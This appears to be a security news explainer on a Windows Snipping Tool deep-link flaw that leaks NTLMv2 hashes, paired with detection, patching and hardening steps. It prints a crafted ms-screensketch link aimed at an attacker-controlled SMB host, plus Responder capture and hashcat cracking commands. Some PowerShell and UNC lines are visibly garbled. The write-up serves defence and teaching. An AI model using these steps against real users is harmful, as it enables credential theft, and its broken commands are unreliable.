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Introduction:
A newly uncovered vulnerability in the Windows Snipping Tool (CVE-2026-33829) allows an attacker to capture a user’s NTLMv2 hash over a network through a simple spoofing attack. The flaw resides in how the application handles deep links, enabling an unauthorized attacker to force an SMB connection to a remote server and extract sensitive authentication credentials without direct system access. This vulnerability underscores the overlooked risks of application URL handlers and the ongoing dangers of NTLM hash leakage in modern Windows environments.
Learning Objectives:
- Understand the technical mechanics of CVE-2026-33829 and how attackers exploit the `ms-screensketch` protocol.
- Learn to detect and mitigate forced NTLM authentication attempts using monitoring commands and network configurations.
- Implement defense strategies including patch management, NTLM restriction, and SMB hardening.
You Should Know:
1. Breaking Down the Snipping Tool Spoofing Attack
This vulnerability leverages a custom URI scheme, ms-screensketch, that the Snipping Tool registers to handle deep links. The `filePath` parameter within this schema is improperly validated, allowing an attacker to manipulate it into pointing to a remote SMB share under their control. When a user interacts with a specially crafted link—often disguised as a legitimate image or internal resource—the Snipping Tool automatically initiates an SMB connection to the attacker’s server, transmitting the user’s Net-NTLM hash in the process.
The attack chain is disturbingly simple:
- Malicious Link Creation: The attacker crafts a link such as:
`ms-screensketch:edit?&filePath=\\attacker.lab\image.png&isTemporary=false&saved=true&source=Toast`
- Deceptive Routing: The `filePath` parameter points to an attacker-controlled external SMB server.
- User Interaction: The victim is tricked into clicking the link via a phishing email or compromised webpage, prompting them to confirm launching the Snipping Tool.
- Hash Theft: The Snipping Tool connects to the remote server to fetch the fake file, silently leaking the user’s NTLMv2 password hash in the background.
- Unauthorized Access: The attacker captures this hash and can use it to authenticate as the compromised user, often leading to lateral movement or privilege escalation.
Step‑by‑step guide explaining what this does and how to use it:
To understand the attack vector, you can simulate the forced authentication request. While actual exploitation would involve a malicious server, you can test the URI behavior in a controlled environment:
1. Test the URI Locally (Simulation):
Open the Run dialog (Win + R) and enter:
`ms-screensketch:edit?&filePath=\\localhost\test&isTemporary=false`
- What it does: This attempts to launch the Snipping Tool with a remote file path. In a real attack, the path would be a malicious SMB server.
2. Monitor NTLM Authentication Attempts on Windows:
Enable Netlogon logging to capture NTLM authentication events:
nltest /dbflag:0x20000000
To view the logs, check the System event log for Event ID 4624 (logon success) or 4625 (failure). Use PowerShell to filter:
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624,4625} | Where-Object {$_.Message -like "NTLM"}
3. Monitor SMB Connections:
Use built-in tools to track SMB outbound connections:
netstat -an | findstr ":445"
2. Detecting NTLM Leaks in Your Environment
Early detection is critical. Here are practical commands to identify suspicious NTLM authentication patterns across your network.
Step‑by‑step guide explaining what this does and how to use it:
1. Enable Advanced Audit Policies for NTLM:
Configure Group Policy to log NTLM authentication attempts:
- Navigate to `Computer Configuration → Windows Settings → Security Settings → Local Policies → Audit Policy`
– Enable `Audit Logon Events` (Success and Failure) - Enable `Audit Authentication Credential Validation`
2. Extract NTLM Authentication Events:
Use PowerShell to extract specific NTLM-related events:
$ntlmEvents = Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624,4625,4776} -MaxEvents 1000
$ntlmEvents | Where-Object {$_.Properties[bash].Value -like "NTLM"} | Format-List TimeCreated, Message
3. Detect Outbound SMB Connections from Unexpected Processes:
Log SMB outbound connections:
netsh wfp show netevents
Alternatively, use Sysmon with Event ID 3 (Network Connection) and filter for port 445.
3. Mitigating the Vulnerability: Patching and Hardening
Microsoft released a security update on April 14, 2026, as part of the monthly Patch Tuesday cycle. Immediate patch application is the primary defense.
Step‑by‑step guide explaining what this does and how to use it:
1. Apply the April 2026 Security Update:
- Go to `Settings → Windows Update → Check for updates`
– Install the `KB5082063` cumulative update (or equivalent for your Windows version). - Verify installation using:
wmic qfe list brief | findstr "KB5082063"
2. Restrict NTLM Authentication via Group Policy:
- Navigate to `Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options`
– Set `Network security: Restrict NTLM: Incoming NTLM traffic` to `Deny all accounts`
– Set `Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers` to `Deny all`
3. Disable LLMNR and NetBIOS over TCP/IP:
These protocols are often abused for NTLM hash capture. To disable LLMNR via Group Policy:
– Go to `Computer Configuration → Administrative Templates → Network → DNS Client`
– Enable `Turn off multicast name resolution`
To disable NetBIOS over TCP/IP:
Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Where-Object {$<em>.IPEnabled -eq $true} | ForEach-Object {$</em>.SetTCPIPNetbios(2)}
4. Block SMB Outbound to the Internet:
Use Windows Firewall to restrict outbound SMB traffic:
netsh advfirewall firewall add rule name="Block Outbound SMB" dir=out action=block protocol=TCP localport=445 remoteport=any
4. Advanced Red-Teaming: Forced Authentication and Hash Capture
For security testing, tools like Responder can capture NTLMv2 hashes from misconfigured networks. This technique demonstrates how stolen hashes can be leveraged.
Step‑by‑step guide explaining what this does and how to use it:
1. Set Up Responder on a Linux Machine:
sudo git clone https://github.com/lgandx/Responder cd Responder sudo python3 Responder.py -I eth0 -w -d
– What it does: Responder listens for LLMNR, NBT-NS, and MDNS requests and spoofs responses, capturing NTLMv2 hashes when clients attempt to authenticate.
- Simulate a Forced SMB Connection from Windows (Test Environment Only):
net use \attacker-ip\share
3. Crack Captured Hashes with Hashcat:
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
5. Enterprise Defense: SMB Signing and NTLM Hardening
Beyond patching, organizations should implement long-term hardening to prevent NTLM relay attacks.
Step‑by‑step guide explaining what this does and how to use it:
1. Enable SMB Signing:
- Open `Group Policy Management Editor`
– Navigate to `Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options`
– Set `Microsoft network client: Digitally sign communications (always)` to `Enabled`
– Set `Microsoft network server: Digitally sign communications (always)` to `Enabled`
2. Enforce Kerberos Authentication:
Where possible, disable NTLM for specific applications using Group Policy:
– `Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication`
3. Monitor for SMB-based Exfiltration:
Use Sysmon to log network connections:
Sysmon64.exe -accepteula -i config.xml
Create a configuration that captures Event ID 3 for connections to port 445.
What Undercode Say:
This vulnerability is a stark reminder that even the most innocuous built-in Windows applications can become attack vectors. While CVE-2026-33829 carries a moderate CVSS score of 4.3, its potential for credential theft and lateral movement within enterprise networks makes it a critical concern. The reliance on user interaction does not diminish the risk, as social engineering tactics can easily exploit this flaw. Organizations must move beyond a patch-only mindset and adopt a defense-in-depth strategy that includes NTLM restriction, SMB hardening, and continuous monitoring. The exploitation of application URL handlers is a growing trend, and this flaw signals a broader need to audit custom URI schemes across all Windows applications. Proactive measures, such as disabling LLMNR and enforcing SMB signing, are essential to mitigate similar future risks.
Prediction:
The disclosure of CVE-2026-33829 will likely trigger a wave of similar discoveries in other Windows applications that utilize custom URI handlers. As attackers increasingly focus on credential theft as a primary attack vector, we can expect a rise in forced authentication techniques across various protocols. Microsoft will need to strengthen its URI validation framework and potentially deprecate NTLM entirely in favor of Kerberos. In the short term, we anticipate proof-of-concept exploits to circulate within red-team communities, followed by a surge in phishing campaigns leveraging this technique. Organizations that fail to apply the April 2026 patches and harden their NTLM configurations will remain vulnerable to credential harvesting and subsequent network compromise.
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Reported By: Cybersecuritynews Microsoft – Hackers Feeds
Extra Hub: Undercode MoN
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